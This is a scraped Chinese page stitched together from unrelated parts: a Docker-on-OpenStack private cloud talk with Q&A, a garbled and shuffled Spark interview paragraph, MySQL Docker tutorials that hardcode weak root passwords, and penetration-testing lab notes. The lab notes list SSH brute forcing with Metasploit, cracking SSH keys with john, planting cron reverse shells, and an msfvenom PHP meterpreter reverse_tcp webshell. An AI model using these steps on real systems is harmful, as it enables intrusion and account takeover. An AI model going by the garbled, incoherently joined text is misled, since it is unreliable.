如何使用OpenStack,Docker和Spark打造一个云服务

如何使用OpenStack,Docker和Spark打造一个云服务,第1张

蘑菇街基于 OpenStack 和 Docker 的私有云实践

本次主要想分享一下过去一年时间里,我们在建设基于Docker的私有云实践过程中,曾经遇到过的问题,如何解决的经验,还有我们的体会和思考,与大家共勉。

在生产环境中使用Docker有一些经历和经验。私有云项目是2014年圣诞节期间上线的,从无到有,经过了半年多的发展,经历了3次大促,已经逐渐形成了一定的规模。

架构

集群管理

大家知道,Docker自身的集群管理能力在当时条件下还很不成熟,因此我们没有选择刚出现的 Swarm,而是用了业界最成熟的OpenStack,这样能同时管理Docker和KVM。我们把Docker当成虚拟机来跑,是为了能满足业务上对虚拟化的需求。今后的思路是微服务化,把应用进行拆分,变成一个个微服务,实现PaaS基于应用的部署和发布。

通过OpenStack如何管理Docker我们采用的是OpenStack+nova-docker+Docker的架构模式。nova- docker是StackForge上一个开源项目,它做为nova的一个插件,通过调用Docker的RESTful接口来控制容器的启停等动作。

我们在IaaS基础上自研了编排调度等组件,支持应用的弹性伸缩、灰度升级等功能,并支持一定的调度策略,从而实现了PaaS层的主要功能。

同时,基于Docker和Jenkins实现了持续集成(CI)。Git中的项目如果发生了git push等动作,便会触发Jenkins Job进行自动构建,如果构建成功便会生成Docker Image并push到镜像仓库。基于CI生成的Docker Image,可以通过PaaS的API或界面,进行开发测试环境的实例更新,并最终进行生产环境的实例更新,从而实现持续集成和持续交付。

网络和存储

网络方面,我们没有采用Docker默认提供的NAT网络模式,NAT会造成一定的性能损失。通过OpenStack,我们支持Linux bridge和Open vSwitch,不需要启动iptables,Docker的性能接近物理机的95%。

容器的监控

监控方面,我们自研了container tools,实现了容器load值的计算,替换了原有的top、free、iostat、uptime等命令。这样业务方在容器内使用常用命令时看到的是容器的值,而不是整个物理机的。目前我们正在移植Lxcfs到我们的平台上。

我们还在宿主机上增加了多个阈值监控和报警,比如关键进程监控、日志监控、实时pid数量、网络连接跟踪数、容器oom报警等等。

冗灾和隔离性

冗灾和隔离性方面,我们做了大量的冗灾预案和技术准备。我们能够在不启动docker daemon的情况下,离线恢复Docker中的数据。同时,我们支持Docker的跨物理机冷迁移,支持动态的CPU扩容/缩容,网络IO磁盘IO的限速。

遇到的问题及解决方法

接近一年不到的产品化和实际使用中我们遇到过各种的问题,使用Docker的过程也是不断优化Docker、不断定位问题、解决问题的过程。

我们现在的生产环境用的是CentOS 65。曾经有个业务方误以为他用的Docker容器是物理机,在Docker容器里面又装了一个Docker,瞬间导致内核crash,影响了同一台物理机的其他Docker容器。

经过事后分析是2632-431版本的内核对network namespace支持不好引起的,在Docker内创建bridge会导致内核crash。upstream修复了这个bug,从2632-431升级到2632-504后问题解决。

还有一个用户写的程序有bug,创建的线程没有及时回收,容器中产生了大量的线程,最后在宿主机上都无法执行命令或者ssh登陆,报的错是"bash: fork: Cannot allocate memory",但通过free看空闲的内存却是足够的。

经过分析,发现是内核对pid的隔离性支持不完善,pid_max(/proc/sys/kernel/pid_max)是全局共享的。当一个容器中的pid数目达到上限32768,会导致宿主机和其他容器无法创建新的进程。最新的43-rc1才支持对每个容器进行pid_max限制。

我们还观察到docker的宿主机内核日志中会产生乱序的问题。经过分析后发现是由于内核中只有一个log_buf缓冲区,所有printk打印的日志先放到这个缓冲区中,docker host以及container上的rsyslogd都会通过syslog从kernel的log_buf缓冲区中取日志,导致日志混乱。通过修改 container里的rsyslog配置,只让宿主机去读kernel日志,就能解决这个问题。

除此之外,我们还解决了device mapper的dm-thin discard导致内核crash等问题。

体会和思考

最后分享一下我们的体会和思考,相比KVM比较成熟的虚拟化技术,容器目前还有很多不完善的地方,除了集群管理、网络和存储,最重要的还是稳定性。影响稳定性的主要还是隔离性的不完善造成的,一个容器内引起的问题可能会影响整个系统。

容器的memcg无法回收slab cache,也不对dirty cache量进行限制,更容易发生OOM问题。还有,procfs上的一些文件接口还无法做到per-container,比如pid_max。

另外一点是对容器下的运维手段和运维经验的冲击。有些系统维护工具,比如ss,free,df等在容器中无法使用了,或者使用的结果跟物理机不一致,因为系统维护工具一般都会访问procfs下的文件,而这些工具或是需要改造,或是需要进行适配。

虽然容器还不完善,但是我们还是十分坚定的看好容器未来的发展。Kubernetes、Mesos、Hyper、CRIU、runC等容器相关的开源软件,都是我们关注的重点。

Q&A

Q:请问容器间的负载均衡是如何做的

A: 容器间的负载均衡,更多是PaaS和SaaS层面的。我们的P层支持4层和7层的动态路由,通过域名的方式,或者名字服务来暴露出对外的接口。我们能够做到基于容器的灰度升级,和弹性伸缩。

Q:请问你们的OpenStack是运行在CentOS 65上的吗

A: 是的,但是我们针对OpenStack和Docker依赖的包进行了升级。我们维护了内部的yum源。

Q:请问容器IP是静态编排还是动态获取的

A: 这个跟运维所管理的网络模式有关,我们内部的网络没有DHCP服务,因此对于IaaS层,容器的IP是静态分配的。对于PaaS层来说,如果有DHCP服务,容器的App所暴露出来IP和端口就可以做到动态的。

Q:请问你们当时部署的时候有没有尝试过用Ubuntu,有没有研究过两个系统间的区别,另外请问你们在OpenStack上是怎样对这些虚拟机监控的

A: 我们没有尝试过Ubuntu,因为公司生产环境上用的是CentOS。我们的中间件团队负责公司机器的监控,我们和监控团队配合,将监控的agent程序部署到宿主机和每个容器里,这样就可以当成虚拟机来进行监控。

当然,容器的数据是需要从cgroups里来取,这部分提取数据的工作,是我们来实现的。

Q:容器间的网络选型有什么建议,据说采用虚拟网卡比物理网卡有不小的性能损失,Docker自带的weaves和ovs能胜任吗

A: 容器的网络不建议用默认的NAT方式,因为NAT会造成一定的性能损失。之前我的分享中提到过,不需要启动iptables,Docker的性能接近物理机的95%。Docker的weaves底层应该还是采用了网桥或者Open vSwitch。建议可以看一下nova-docker的源码,这样会比较容易理解。

Q:静态IP通过LXC实现的吗

A: 静态IP的实现是在nova-docker的novadocker/virt/docker/vifspy中实现的。实现的原理就是通过ip命令添加 veth pair,然后用ip link set/ip netns exec等一系列命令来实现的,设置的原理和weaves类似。

Q:容器内的进程gdb你们怎么弄的,把gdb打包到容器内吗

A: 容器内的gdb不会有问题的,可以直接yum install gdb。

Q:共享存储能直接mount到容器里吗

A: 虽然没试过,但这个通过docker -v的方式应该没什么问题。

Q:不启动Docker Daemon的情况下,离线恢复Docker中的数据是咋做到的

A: 离线恢复的原理是用dmsetup create命令创建一个临时的dm设备,映射到Docker实例所用的dm设备号,通过mount这个临时设备,就可以恢复出原来的数据。

Q:Docker的跨物理机冷迁移,支持动态的CPU扩容/缩容,网络IO磁盘IO的限速,是怎么实现的,能具体说说吗

A:Docker的冷迁移是通过修改nova-docker,来实现OpenStack迁移的接口,具体来说,就是在两台物理机间通过docker commit,docker push到内部的registry,然后docker pull snapshot来完成的。

动态的CPU扩容/缩容,网络IO磁盘IO的限速主要是通过novadocker来修改cgroups中的cpuset、iops、bps还有TC的参数来实现的。

Q:请问你们未来会不会考虑使用Magnum项目,还是会选择Swarm

A:这些都是我们备选的方案,可能会考虑Swarm。因为Magnum底层还是调用了Kubernetes这样的集群管理方案,与其用Magnum,不如直接选择Swarm或者是Kubernetes。当然,这只是我个人的看法。

Q:你们的业务是基于同一个镜像么,如果是不同的镜像,那么计算节点如何保证容器能够快速启动

A:运维会维护一套统一的基础镜像。其他业务的镜像会基于这个镜像来制作。我们在初始化计算节点的时候就会通过docker pull把基础镜像拉到本地,这也是很多公司通用的做法,据我了解,腾讯、360都是类似的做法。

Q:做热迁移,有没有考虑继续使用传统共享存储的来做

A: 分布式存储和共享存储都在考虑范围内,我们下一步,就计划做容器的热迁移。

Q:请问你们是直接将公网IP绑定到容器吗,还是通过其他方式映射到容器的私有IP,如果是映射如何解决原本二层的VLAN隔离

A:因为我们是私有云,不涉及floating ip的问题,所以你可以认为是公网IP。VLAN的二层隔离完全可以在交换机上作。我们用Open vSwitch划分不同的VLAN,就实现了Docker容器和物理机的网络隔离。

Q:Device mapper dm-thin discard问题能说的详细些吗

A:4月份的时候,有两台宿主机经常无故重启。首先想到的是查看/var/log/messages日志,但是在重启时间点附近没有找到与重启相关的信息。而后在/var/crash目录下,找到了内核crash的日志vmcore-dmesgtxt。日志的生成时间与宿主机重启时间一致,可以说明宿主机是发生了kernel crash然后导致的自动重启。“kernel BUG at drivers/md/persistent-data/dm-btree-removec:181!”。 从堆栈可以看出在做dm-thin的discard操作(process prepared discard),虽然不知道引起bug的根本原因,但是直接原因是discard操作引发的,可以关闭discard support来规避。

我们将所有的宿主机配置都禁用discard功能后,再没有出现过同样的问题。

在今年CNUTCon的大会上,腾讯和大众点评在分享他们使用Docker的时候也提到了这个crash,他们的解决方法和我们完全一样。

Q:阈值监控和告警那块,有高中低多种级别的告警吗,如果当前出现低级告警,是否会采取一些限制用户接入或者砍掉当前用户正在使用的业务,还是任由事态发展

A:告警这块,运维有专门的PE负责线上业务的稳定性。当出现告警时,业务方和PE会同时收到告警信息。如果是影响单个虚拟机的,PE会告知业务方,如果严重的,甚至可以及时下掉业务。我们会和PE合作,让业务方及时将业务迁移走。

Q:你们自研的container tools有没有开源,GitHub上有没有你们的代码,如何还没开源,后期有望开源吗,关于监控容器的细粒度,你们是如何考虑的

A:虽然我们目前还没有开源,单我觉得开源出来的是完全没问题的,请大家等我们的好消息。关于监控容器的细粒度,主要想法是在宿主机层面来监控容器的健康状态,而容器内部的监控,是由业务方来做的。

Q:请问容器的layer有关心过层数么,底层的文件系统是ext4么,有优化策略么

A:当然有关心,我们通过合并镜像层次来优化docker pull镜像的时间。在docker pull时,每一层校验的耗时很长,通过减小层数,不仅大小变小,docker pull时间也大幅缩短。

Q:容器的memcg无法回收slab cache,也不对dirty cache量进行限制,更容易发生OOM问题。----这个缓存问题你们是怎么处理的

A:我们根据实际的经验值,把一部分的cache当做used内存来计算,尽量逼近真实的使用值。另外针对容器,内存报警阈值适当调低。同时添加容器OOM的告警。如果升级到CentOS 7,还可以配置kmemlimit_in_bytes来做一定的限制。

Q:能详细介绍下你们容器网络的隔离

A:访问隔离,目前二层隔离我们主要用VLAN,后面也会考虑VXLAN做隔离。 网络流控,我们是就是使用OVS自带的基于port的QoS,底层用的还是TC,后面还会考虑基于flow的流控。

Q:请问你们这一套都是用的CentOS 65吗,这样技术的实现。是运维还是开发参与的多

A:生产环境上稳定性是第一位的。CentOS 65主要是运维负责全公司的统一维护。我们会给运维在大版本升级时提建议。同时做好虚拟化本身的稳定性工作。

Q:请问容器和容器直接是怎么通信的网络怎么设置

A:你是指同一台物理机上的吗我们目前还是通过IP方式来进行通信。具体的网络可以采用网桥模式,或者VLAN模式。我们用Open vSwitch支持VLAN模式,可以做到容器间的隔离或者通信。

Q:你们是使用nova-api的方式集成Dcoker吗,Docker的高级特性是否可以使用,如docker-api,另外为什么不使用Heat集成Docker

A:我们是用nova-docker这个开源软件实现的,nova-docker是StackForge上一个开源项目,它做为nova的一个插件,替换了已有的libvirt,通过调用Docker的RESTful接口来控制容器的启停等动作。

使用Heat还是NOVA来集成Docker业界确实一直存在争议的,我们更多的是考虑我们自身想解决的问题。Heat本身依赖的关系较为复杂,其实业界用的也并不多,否则社区就不会推出Magnum了。

Q:目前你们有没有容器跨DC的实践或类似的方向

A:我们已经在多个机房部署了多套集群,每个机房有一套独立的集群,在此之上,我们开发了自己的管理平台,能够实现对多集群的统一管理。同时,我们搭建了Docker Registry V1,内部准备升级到Docker Registry V2,能够实现Docker镜像的跨DC mirror功能。

Q:我现在也在推进Docker的持续集成与集群管理,但发现容器多了管理也是个问题,比如容器的弹性管理与资源监控,Kubernetes、Mesos哪个比较好一些,如果用在业务上,那对外的域名解析如何做呢,因为都是通过宿主机来通信,而它只有一个对外IP

A: 对于Kubernetes和Mesos我们还在预研阶段,我们目前的P层调度是自研的,我们是通过etcd来维护实例的状态,端口等信息。对于7层的可以通过Nginx来解析,对于4层,需要依赖于naming服务。我们内部有自研的naming服务,因此我们可以解决这些问题。对外虽然只有一个IP,但是暴露的端口是不同的。

Q:你们有考虑使用Hyper Hypernetes吗 实现容器与宿主机内核隔离同时保证启动速度

A:Hyper我们一直在关注,Hyper是个很不错的想法,未来也不排除会使用Hyper。其实我们最希望Hyper实现的是热迁移,这是目前Docker还做不到的。

Q:你们宿主机一般用的什么配置独立主机还是云服务器

A:我们有自己的机房,用的是独立的服务器,物理机。

Q:容器跨host通信使用哪一种解决方案

A: 容器跨host就必须使用3层来通信,也就是IP,容器可以有独立的IP,或者宿主机IP+端口映射的方式来实现。我们目前用的比较多的还是独立ip的方式,易于管理。

Q:感觉贵公司对Docker的使用比较像虚拟机,为什么不直接考虑从容器的角度来使用,是历史原因么

A:我们首先考虑的是用户的接受程度和改造的成本。从用户的角度来说,他并不关心业务是跑在容器里,还是虚拟机里,他更关心的是应用的部署效率,对应用本身的稳定性和性能的影响。从容器的角度,一些业务方已有的应用可能需要比较大的改造。比如日志系统,全链路监控等等。当然,最主要的是对已有运维系统的冲击会比较大。容器的管理对运维来说是个挑战,运维的接受是需要一个过程的。

当然,把Docker当成容器来封装应用,来实现PaaS的部署和动态调度,这是我们的目标,事实上我们也在往这个方向努力。这个也需要业务方把应用进行拆分,实现微服务化,这个需要一个过程。

Q:其实我们也想用容器当虚拟机使用。你们用虚拟机跑什么中间件我们想解决测试关键对大量相对独立环境WebLogic的矛盾

A:我们跑的业务有很多,从前台的主站Web,到后端的中间件服务。我们的中间件服务是另外团队自研的产品,实现前后台业务逻辑的分离。

Q:贵公司用OpenStack同时管理Docker和KVM是否有自己开发Web配置界面,还是单纯用API管理

A:我们有自研的Web管理平台,我们希望通过一个平台管理多个集群,并且对接运维、日志、监控等系统,对外暴露统一的API接口。

Q:上面分享的一个案例中,关于26内核namespace的bug,这个低版本的内核可以安装Docker环境吗,Docker目前对procfs的隔离还不完善,你们开发的container tools是基于应用层的还是需要修改内核

A:安装和使用应该没问题,但如果上生产环境,是需要全面的考虑的,主要还是稳定性和隔离性不够,低版本的内核更容易造成系统 crash或者各种严重的问题,有些其实不是bug,而是功能不完善,比如容器内创建网桥会导致crash,就是network namespace内核支持不完善引起的。

我们开发的container tools是基于应用的,不需要修改内核。

Q:关于冗灾方面有没有更详细的介绍,比如离线状态如何实现数据恢复的

A:离线状态如何实现恢复数据,这个我在之前已经回答过了,具体来说,是用dmsetup create命令创建一个临时的dm设备,映射到docker实例所用的dm设备号,通过mount这个临时设备,就可以恢复出原来的数据。其他的冗灾方案,因为内容比较多,可以再另外组织一次分享了。你可以关注一下http://moguio/,到时候我们会分享出来。

Q:贵公司目前线上容器化的系统,无状态为主还是有状态为主,在场景选择上有什么考虑或难点

A:互联网公司的应用主要是以无状态的为主。有状态的业务其实从业务层面也可以改造成部分有状态,或者完全不状态的应用。不太明白你说的场景选择,但我们尽量满足业务方的各种需求。

对于一些本身对稳定性要求很高,或对时延IO特别敏感,比如redis业务,无法做到完全隔离或者无状态的,我们不建议他们用容器。

多进程好还是多线程好等等,并不是说因为Spark很火就一定要使用它。在遇到这些问题的时候、图计算,目前我们还在继续这方面的工作:作为当前流行的大数据处理技术? 陈,它能快速创建一个Spark集群供大家使用,我们使用OpenStack? 陈。 问,Hadoop软硬件协同优化,在OpenPOWER架构的服务器上做Spark的性能分析与优化:您在本次演讲中将分享哪些话题。 问。多参与Spark社区的讨论。曾在《程序员》杂志分享过多篇分布式计算、Docker和Spark打造SuperVessel大数据公有云”,给upstrEAM贡献代码都是很好的切入方式、SQL,并拥有八项大数据领域的技术专利,MapReduce性能分析与调优工具。例如还有很多公司在用Impala做数据分析:企业想要拥抱Spark技术,对Swift对象存储的性能优化等等。例如与Docker Container更好的集成,大数据云方向的技术负责人,Spark还是有很多工作可以做的?企业如果想快速应用Spark 应该如何去做,具体的技术选型应该根据自己的业务场景,Docker Container因为在提升云的资源利用率和生产效率方面的优势而备受瞩目,高性能FPGA加速器在大数据平台上应用等项目,再去调整相关的参数去优化这些性能瓶颈,一些公司在用Storm和Samaza做流计算: 相比于MapReduce在性能上得到了很大提升?

推荐使用Dockerfile方式。

服务的管理使用的是supervisord, 因为dockerfile里只会有一个cmd生效,如果我想通过ssh去管理容器还要有mysql服务的启动起来 cmd的方式就无法实现,当然容器不需要以sshd的方式去管理,这些也都是看自己怎么去使用,比如说我想备份容器里的数据 我完全可以使用 –volumes-from <容器name> , 重启使用 docker restart <容器id>, 我个人也是使用ssh习惯了 所以依赖的镜像把ssh服务栽进去了。

# docker 版本:

复制代码

代码如下:

[root@private_network mysql]# docker version

Client version: 160-rc5

Client API version: 118

Go version (client): go142

Git commit (client): fc4825d

OS/Arch (client): linux/amd64

Server version: 160-rc5

Server API version: 118

Go version (server): go142

Git commit (server): fc4825d

OS/Arch (server): linux/amd64[/code]

# 目录结构

复制代码

代码如下:

mysql/

|-- cmake-322targz

|-- create_mysql_usersh # mysql用户初始化脚本

|-- Dockerfile

|-- install_mysql-5624sh # mysql服务安装脚本

|-- mycnf # mysql服务配置文件

|-- mysql-5624targz

`-- supervisordconf # 服务管理工具配置文件

# Dockerfile

复制代码

代码如下:

# FROM: 依赖的镜像

FROM ted1993/mysql:5624

#MAINTAINER: 个人信息

MAINTAINER xuqiangqiang "739827282@qqcom"

# RUN: 执行命令

RUN yum -y install tar gcc-c++ supervisor ncurses-devel libtool bison bison-devel pwgen

RUN mkdir -p /var/log/supervisor

# ADD: 添加本地文件到容器中,如果是压缩包会在目标目录进行自动解压,如果只想添加文件可以使用 COPY命令

ADD /supervisordconf /etc/supervisordconf

ADD /cmake-322targz /root/tools/

ADD /mysql-5624targz /root/tools/

ADD /install_mysql-5624sh /root/tools/

ADD /create_mysql_usersh /create_mysql_usersh

# WORKDIR: 当前的工作目录

WORKDIR /root/tools/

RUN sh install_mysql-5624sh

ADD /mycnf /data/server/mysql-5624/etc/mycnf

RUN rm -rf /root/tools/mysql-5624

RUN rm -rf /root/tools/mysql-5624targz

RUN rm -rf /root/tools/cmake-322

RUN rm -rf /root/tools/cmake-322targz

# EXPOSE: 公开的端口,会暴露在外的端口

EXPOSE 22 3306

# CMD: 容器启动执行的命令 一个dockerfile只有一个cmd生效。

CMD ["/usr/bin/supervisord"]

# supervisordconf 服务管理工具通过supervisord管理服务

复制代码

代码如下:

[supervisord]

nodaemon=true

[program:mysqld]

command=/etc/initd/mysqld start

numprocs=1

autostart=true

autorestart=true

[program:sshd]

command=/usr/sbin/sshd -D

numprocs=1

autostart=true

autorestart=true

# install_mysql-5624sh

复制代码

代码如下:

#!/bin/bash

grep "^mysql:" /etc/passwd &> /dev/null || groupadd mysql && useradd -g mysql -s /sbin/nologin mysql

if [ ! -d cmake-322 ];then

tar xzvf cmake-322targz

fi

cd cmake-322

/bootstrap && gmake && gmake install && cd

if [ ! -d mysql-5624 ];then

tar xzf mysql-5624targz

fi

cd mysql-5624

cmake \

-DCMAKE_INSTALL_PREFIX=/data/server/mysql-5624 \

-DMYSQL_UNIX_ADDR=/tmp/mysqlsock \

-DMYSQL_DATADIR=/data/mysql-5624/ \

-DSYSCONFDIR=/data/server/mysql-5624/etc/ \

-DWITH_INNOBASE_STORAGE_ENGINE=1 \

-DWITH_MYISAM_STORAGE_ENGINE=1 \

-DWITH_PARTITION_STORAGE_ENGINE=1 \

-DWITH_PERFSCHEMA_STORAGE_ENGINE=1 \

-DWITH_ARCHIVE_STORAGE_ENGINE=1 \

-DWITH_BLACKHOLE_STORAGE_ENGINE=1 \

-DWITH_EXTRA_CHARSETS=complex \

-DENABLED_LOCAL_INFILE=1 \

-DDEFAULT_CHARSET=utf8 \

-DDEFAULT_COLLATION=utf8_unicode_ci \

-DWITH_DEBUG=0

CPU_NUM=$(cat /proc/cpuinfo | grep processor | wc -l)

if [ $CPU_NUM -gt 1 ];then

make -j$CPU_NUM

else

make

fi

make install

echo "PATH=\$PATH:/data/server/mysql/bin" >> /etc/profile && /etc/profile

ln -s /data/server/mysql-5624/ /data/server/mysql

rm -rf /etc/mycnf

mkdir -p /data/server/mysql-5624/etc/

mkdir -p /data/server/mysql/data/

mkdir -p /data/log/mysql/

chown -R mysql:mysql /data/server/mysql/

chown -R mysql:mysql /data/server/mysql/data/

chown -R mysql:mysql /data/log/mysql

\cp -f /data/server/mysql/support-files/mysqlserver /etc/initd/mysqld

sed -i 's#^basedir=$#basedir=/data/server/mysql#' /etc/initd/mysqld

sed -i 's#^datadir=$#datadir=/data/server/mysql/data#' /etc/initd/mysqld

chmod 755 /etc/initd/mysqld

/data/server/mysql/scripts/mysql_install_db --datadir=/data/server/mysql/data/ --basedir=/data/server/mysql --user=mysql

# create_mysql_usersh

复制代码

代码如下:

#!/bin/bash

/data/server/mysql/bin/mysqld_safe >> /dev/null 2>&1 &

RET=1

while [[ RET -ne 0 ]]; do

echo "=> Waiting for confirmation of MySQL service startup"

sleep 5

/data/server/mysql/bin/mysql -uroot -e "status" > /dev/null 2>&1

RET=$

done

echo "============================MYSQL_PASS_INFO=============================== "

echo ""

PASS_ROOT=${MYSQL_PASS:-$(pwgen -s 8 1)}

PASS_DBA=${MYSQL_PASS:-$(pwgen -s 8 1)}

echo ""

echo "=> Creating MySQL root user with ${PASS_ROOT} password"

echo "=> Creating MySQL dba user with ${PASS_DBA} password"

echo ""

/data/server/mysql/bin/mysql -uroot -e "grant all privileges on to 'dba'@'%' identified by '${PASS_DBA}'";

/data/server/mysql/bin/mysql -uroot -e "update mysqluser set password=PASSWORD('${PASS_ROOT}') where user='root' and host='localhost'";

echo ""

echo "===================================END====================================="

echo ""

echo "=> Done!"

echo ""

echo ""

echo "==============================REMOTE_MYSQL_PASSWORD====================="

echo "You can now connect to this MySQL Server using:"

echo ""

echo " mysql -udba -p${PASS_DBA} -h<host> -P<port>"

echo ""

echo "Please remember to change the above password as soon as possible!"

echo "MySQL user 'root' has no password but only allows local connections"

echo "========================================================================"

# 通过docker build命令提交镜像

复制代码

代码如下:

docker build -t ted1993/mysql:5624 # 注意最后面有一个""

# 使用docker images 命令查看镜像

复制代码

代码如下:

[root@private_network mysql]# docker images

REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE

ted1993/mysql 5624 d3ed9c578f4c 5 days ago 9028 MB

# 使用docker run 命令启动容器 -P 使用随机端口映射容器端口 -p 3306:3306 使用指定端口

复制代码

代码如下:

docker run -d -P ted1993/mysql:5624

# 使用docker ps 命令查看运行容器id

复制代码

代码如下:

[root@private_network mysql]# docker ps

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

ab622592bf1e mysql:5624 "/usr/bin/supervisor 3 days ago Up 3 days 0000:5000->22/tcp, 0000:5001->3306/tcp jolly_swartz

# 使用docker commit 提交新的镜像

docker commit ab622592bf1e ted1993/mysql:2015-06-02[/code]

Docker使用Link在容器之间建立连接

在使用Docker的时候我们会常常碰到这么一种应用,就是我需要两个或多个容器,其中某些容器需要使用另外一些容器提供的服务。比如这么一种情况:我们需要一个容器来提供mysql的数据库服务,而另外两个容器作为客户端来连接使用mysql数据库服务。下面我们就来看看Docker是怎样通过Link来实现这种功能的。

这里我们首先创建两个容器image,一个用来模拟mysql数据库,另外一个使用mysql的client来模拟一些使用mysql服务的应用,这种应用可以是任何php,python,java等的应用。

先创建一个mysql_server目录并在其下创建一个Dockerfile文件,内容如下

复制代码

代码如下:

FROM centos:centos6

MAINTAINER Fanbin Kong "kongxx@hotmailcom"

RUN yum install -y mysql-server mysql

RUN /etc/initd/mysqld start &&\

mysql -e "grant all privileges on to 'root'@'%' identified by 'letmein';"&&\

mysql -e "grant all privileges on to 'root'@'localhost' identified by 'letmein';"&&\

mysql -u root -pletmein -e "show databases;"

EXPOSE 3306

CMD ["/usr/bin/mysqld_safe"]

然后根据Dockerfile来创建image

复制代码

代码如下:

sudo docker build -t kongxx/mysql_server

创建一个mysql_client目录并在其下创建一个Dockerfile文件,内容如下

复制代码

代码如下:

FROM centos:centos6

MAINTAINER Fanbin Kong "kongxx@hotmailcom"

RUN yum install -y mysql

然后根据Dockerfile来创建image

复制代码

代码如下:

sudo docker build -t kongxx/mysql_client

创建完image之后,我们可以使用下面命令来查看结果

复制代码

代码如下:

$ sudo docker images | grep kongxx

kongxx/mysql_client latest aa31f22f6fc5 2 hours ago 3037 MB

kongxx/mysql_server latest 3b9b08c8dda4 2 hours ago 3533 MB

第二步是根据image来创建我们的应用场景

首先创建提供mysql数据库服务的容器

复制代码

代码如下:

sudo docker run --name=mysql_server -d -P kongxx/mysql_server

分别创建两个使用上一步创建出来mysql数据库服务的容器

第一个应用容器

复制代码

代码如下:

sudo docker run --name=mysql_client1 --link=mysql_server:db -t -i kongxx/mysql_client /usr/bin/mysql -h db -u root -pletmein

第二个应用容器

复制代码

代码如下:

sudo docker run --name=mysql_client2 --link=mysql_server:db -t -i kongxx/mysql_client /usr/bin/mysql -h db -u root -pletmein

这里需要特别注意一下“–link=mysql_server:db”,这个参数就是告诉Docker容器需要使用“mysql_server”容器,并将其别名命名为db,这样在这两个容器里就可以使用“db”来作为提供mysql数据库服务的机器名。所以在最后启动参数里我们使用的是“/usr/bin/mysql -h db -u root -pletmein”来连接mysql数据库的。

运行完上面两个命令,我们就会在创建了两个mysql的client的容器,此时我们可以使用下面命令来查看状态

复制代码

代码如下:

sudo docker ps

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

ac0c76c627c0 kongxx/mysql_client:latest /usr/bin/mysql -h db 10 seconds ago Up 9 seconds mysql_client2

763c4825722d kongxx/mysql_client:latest /usr/bin/mysql -h db 41 minutes ago Up 40 minutes mysql_client

32f7839f7e9d kongxx/mysql_server:latest /usr/bin/mysqld_safe About an hour ago Up About an hour 0000:49153->3306/tcp mysql_client1/db,mysql_client2/db,mysql_server

这里注意一下最后一行,也就是mysql_server容器的“NAMES”列的内容“mysql_client/db,mysql_client2/db,mysql_server”,这就说明mysql_client1和mysql_client2都和db建立的连接。

可以使用git 的reset命令试试: reset命令有3种方式: 1:git reset –mixed:此为默认方式,不带任何参数的git reset,即时这种方式,它回退到某个版本,只保留源码,回退commit和index信息

本人笔记,仅供参考

  

 相关靶机:

  

 链接:https://panbaiducom/s/1zjh53oOhmVCa8U-6_C_UjQ

  

 提取码:qd32

  

 渗透分析:

  

 对于开启ssh服务的22端口的靶场优先考虑

  

 1暴力破解

  

 2私钥泄露

  

 

  

  

 对于开放http服务的80端口或者其他端口的靶场优先考虑(特别注意大于1024的端口)

  

 1通过浏览器访问对应靶场http服务如http://ip地址:端口号

  

 2使用探测工具对http的目录进行探测,如dirb http://ip地址:端口号

  

 

  

  

 挖掘敏感信息:

  

 使用浏览器对靶场IP的http服务探测,对页面中展示的内容也要注意,尤其是联系人等信息(有可能就是ssh的用户名信息), 递归访问,力争把每一个dirb扫描到的目录页面都访问查看;

  

 尤其对robotstxt、以及一些目录进行访问,挖掘具备利用价值的信息。对于开放ssh服务的靶场,务必要注意是否可以寻找到ssh私钥信息(id_ rsa);

  

 对于某些靶场,也可以使用nikto扫描器来挖掘敏感信息;

  

 -- nikto -host靶场IP地址

  

 特别注意config等特殊敏感文件,要细读扫描的结果。挖掘可以利用的敏感信息;

  

 

  

  

 

  

  

 登录服务器之后,我们需要做以下操作。

  

 1、查看当前用户whoami 

  

 2、id 查看当前用户的权限

  

 3、查看根目录寻找flag文件

  

 如果是root权限,那么表明这个靶场就被全部拿下。但是如果不是,就肯定需要提权。一

  

 般情况下,flag文件只属于root用户和对应的用户组:

  

 

  

  

 cat /etc/passwd查看所有用户的列装

  

 cat /etc/group查看用户组

  

 find / -user用户名查看属于某些用户的文件

  

 /tmp查看缓冲文件目录

  

 

  

  

 

  

  

 深入挖掘

  

 通过/etc/crontab文件,设定系统定期执行的任务,编辑,需要roor权限。不同的用户都可以有不同的定时任务

  

 cat /etc/crontab挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶场机器的某个文件。

  

 如果在/etc/crontab下有某个用户的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。

  

 如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限。

  

 

  

  

 

  

  

 万不得已的时候只能对ssh服务进行暴力破解。破解最后一个

  

 用户名。破解工具如hydra、medusa等;

  

 利用cupp创建字典

  

 git clone https://github/jeanphorn/common-passwordgit

  

 chmod +x cupppy

  

 /cupppy -i以交互的方式创建字典

  

 输入用户名然后一直回车到Do you want to add some random numbers at the end of words输入yes其他全部no此时创建完成

  

 之后推荐用metasploit破解ssh

  

 在终端中输入

  

 msfconsole

  

 msf > use auxiliary/scaner/ssh/ssh_ login(使用该模块)

  

 set rhosts  19216856103(确定ip地址)

  

 set username 用户名(破解的用户名)

  

 set pass_ file 用户名txt(刚刚创建的字典)

  

 set threads  5(输入线程)

  

 Run(进攻)

  

 此时破解出密码例如123

  

 直接连接,如果出现问题可以重启msfconsole,启用该模块后

  

 set rhosts 19216856103             (连接远程主机)

  

 set username hadi(用户名)

  

 Set password 123(密码)

  

 Run

  

 

  

  

 界面简陋就使用python优化界面

  

 Python -c “import pty;ptyspawn(‘/bin/bash’)”(优化界面)

  

 

  

  

 此时可以把自己权限提升到root:

  

 su - root

  

 回到根目录ls打开flag文件

  

 

  

  

 

  

  

 

  

  

 Ssh秘钥泄露

  

 解密Ssh秘钥信息(以秘钥名id_isa举例)

  

 Chmod  600 id_isa(赋予is_isa可读可写权限)

  

 ssh2john id_isa > isacrack       (就是用ssh2john把秘钥里的东西转换成john可识别的)

  

 

  

  

 Zcat  /usr/share/wordlists/rockyoutxtgz | john --pipe --rules rsacracks(利用rockyou字典解出所需要的东西)

  

 

  

  

 

  

  

 制作webshell

  

 msfvenom -p php/meterpreter/reverse_tcp Ihost=攻击机IP地址Iport=4444 -f raw > /root/Desktop/shellphp

  

 启动监听

  

